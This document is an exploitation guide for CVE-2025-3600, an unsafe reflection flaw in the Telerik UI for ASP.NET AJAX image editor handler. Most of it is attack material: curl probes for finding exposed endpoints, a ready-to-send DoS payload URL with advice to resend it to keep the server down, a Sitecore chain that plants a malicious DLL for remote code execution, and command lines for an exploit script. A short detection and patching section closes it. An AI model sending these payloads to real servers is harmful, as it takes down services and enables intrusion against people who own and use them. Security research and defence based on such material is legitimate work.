Telerik Unsafe Reflection Cve 2025 3600

Telerik UI for ASP.NET AJAX – CVE-2025-3600 Exploitation

Overview

CVE-2025-3600 is a pre-auth constructor execution vulnerability in Telerik UI for ASP.NET AJAX's Image Editor cache handler (WebResource.axd?type=iec). The handler resolves a type name from the prtype parameter using Type.GetType() and invokes Activator.CreateInstance() before validating interface type-safety. This enables:

• Universal pre-auth DoS using .NET framework gadgets (PowerShell WSMan finalizer)
• Pre-auth RCE in many deployments via app-specific gadgets (insecure AppDomain.AssemblyResolve handlers, deserialization chains, etc.)

Affected versions: 2011.2.712 through 2025.1.218 (inclusive) Fixed in: 2025.1.416 (released 2025-04-30)

Discovery

Step 1: Check for Telerik handler exposure

# Basic presence check - should return something other than 404/403
curl -I "http://target/Telerik.Web.UI.WebResource.axd"

# Check for the vulnerable endpoint
curl -I "http://target/Telerik.Web.UI.WebResource.axd?type=iec"

Step 2: Inspect web.config (if accessible)

Look for handler mappings:

<add name="Telerik.Web.UI.WebResource" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource, Telerik.Web.UI" />

Step 3: Probe for vulnerability

Use the discovery script:

python scripts/discover_telerik.py http://target

Or manually probe:

# Generic trigger - look for 200 OK or unusual response
curl -v "http://target/Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.String, mscorlib"

Exploitation

Universal DoS (No app-specific gadgets required)

The PowerShell WSMan finalizer gadget reliably crashes the IIS worker process:

# One-shot DoS request
curl "http://target/Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper%2c+System.Management.Automation%2c+Version%253d3.0.0.0%2c+Culture%253dneutral%2c+PublicKeyToken%253d31bf3856ad364e35"

Notes:

• The constructor runs immediately; crash occurs on GC finalization
• Keep sending periodically to maintain DoS
• Monitor for app pool recycle or w3wp.exe crashes

RCE Escalation Patterns

Unsafe constructor execution unlocks target-specific gadgets. Hunt for:

1. Constructors that process attacker input

Some constructors read HTTP request data and deserialize it:

• Check for JSON.NET, XML deserialization in constructor chains
• Example: Sitecore's GetLayoutDefinition() reads HTTP body "layout" parameter

2. Constructors that touch files

Constructors loading config/blobs from disk can be coerced if you control those paths:

• Upload directories
• Temp folders
• Data directories

3. AppDomain.AssemblyResolve handlers

Many apps register insecure resolvers that build DLL paths from args.Name:

# Force type resolution to trigger AssemblyResolve
curl "http://target/Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=This.Class.Does.Not.Exist%2c+watchTowr"

Chain example (Sitecore XP):

1. Trigger type that registers insecure resolver (e.g., Sitecore.Shell.Xaml.WebControl)
2. Plant malicious DLL in resolver-probed directory (via upload/auth bypass)
3. Use CVE-2025-3600 with traversal-laden assembly name to load your DLL

4. Finalizers with destructive side effects

Some types delete fixed-path files in finalizers. Combined with predictable paths, this can enable local privilege escalation.

Using the exploit script

# Run DoS payload
python scripts/exploit_telerik.py --url http://target --mode dos

# Run with custom type
python scripts/exploit_telerik.py --url http://target --type "Namespace.Type, Assembly"

# Force AssemblyResolve
python scripts/exploit_telerik.py --url http://target --mode resolve --assembly watchTowr

Validation and DFIR

Safe lab validation

1. Fire the DoS payload
2. Watch for app pool recycle or unhandled exception
3. Check IIS logs for the WSMan finalizer crash

Hunt in telemetry

• Requests to /Telerik.Web.UI.WebResource.axd with type=iec and unusual prtype values
• Failed type loads and AppDomain.AssemblyResolve events
• Sudden w3wp.exe crashes following such requests

Mitigation

Immediate actions

1. Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later
2. Remove or restrict Telerik.Web.UI.WebResource.axd exposure (WAF/rewrites)
3. Lock down the handler if patching isn't immediately possible

Long-term hardening

• Audit and harden custom AppDomain.AssemblyResolve handlers
• Avoid building paths from args.Name without sanitization
• Prefer strong-named loads or whitelists
• Constrain upload/write locations
• Monitor for non-existent type load attempts

Cheat Sheet

References

• watchTowr labs – CVE-2025-3600 Analysis
• Black Hat USA 2019 – SSO Wars: The Token Menace
• ZDI – Abusing arbitrary file deletes
• watchTowr – Sitecore RCE Chain CVE-2025-34509